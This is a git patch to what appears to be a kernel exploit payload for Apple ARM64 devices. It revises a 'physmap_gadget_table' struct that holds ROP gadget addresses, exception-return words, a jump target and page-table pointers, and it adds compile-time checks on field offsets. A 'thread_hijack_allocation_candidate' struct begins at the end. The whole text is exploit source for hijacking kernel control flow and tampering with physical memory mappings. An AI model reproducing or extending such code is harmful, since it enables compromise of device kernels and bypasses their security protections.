From 6e794dd3097ebe0319c672f1cb73fb48cb4bc7e2 Mon Sep 17 00:00:00 2001
From: khanhduytran0 <khanhduytran0@users.noreply.github.com>
Date: Tue, 16 Jun 2026 06:01:32 +0700
Subject: [PATCH] Fix physmap gadget table layout

---
 src/payload_377bed/entry1_type0x09.m | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/src/payload_377bed/entry1_type0x09.m b/src/payload_377bed/entry1_type0x09.m
index d73e4a2..783aa6b 100644
--- a/src/payload_377bed/entry1_type0x09.m
+++ b/src/payload_377bed/entry1_type0x09.m
@@ -1726,7 +1726,11 @@ ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte);
 
 struct physmap_gadget_table
 {
-  uint32_t exceptionReturnWords[11];
+  union
+  {
+    uint32_t exceptionReturnWords[11];
+    uint16_t exceptionReturnHalfwords[22];
+  };
   uint64_t ldrX0Ret;
   uint64_t movX15BrX17;
   uint64_t movX15BrX21;
@@ -1736,14 +1740,18 @@ struct physmap_gadget_table
   uint64_t movX0Ret;
   uint64_t movX0X19Ret;
   uint64_t adrDataRef;
-  uint64_t strDwordPtrRet;
-  uint64_t interruptDisableRet;
   uint64_t jumpTarget;
   uint64_t vmPageArray;
   uint64_t pmapTteTable;
-  uint64_t vmFirstPhysPaddr;
 };
 
+typedef char physmap_gadget_table_ldr_offset_must_be_0x30[
+  __builtin_offsetof(struct physmap_gadget_table, ldrX0Ret) == 0x30 ? 1 : -1];
+typedef char physmap_gadget_table_jump_offset_must_be_0x78[
+  __builtin_offsetof(struct physmap_gadget_table, jumpTarget) == 0x78 ? 1 : -1];
+typedef char physmap_gadget_table_pmap_offset_must_be_0x88[
+  __builtin_offsetof(struct physmap_gadget_table, pmapTteTable) == 0x88 ? 1 : -1];
+
 struct thread_hijack_allocation_candidate
 {
   uint64_t size;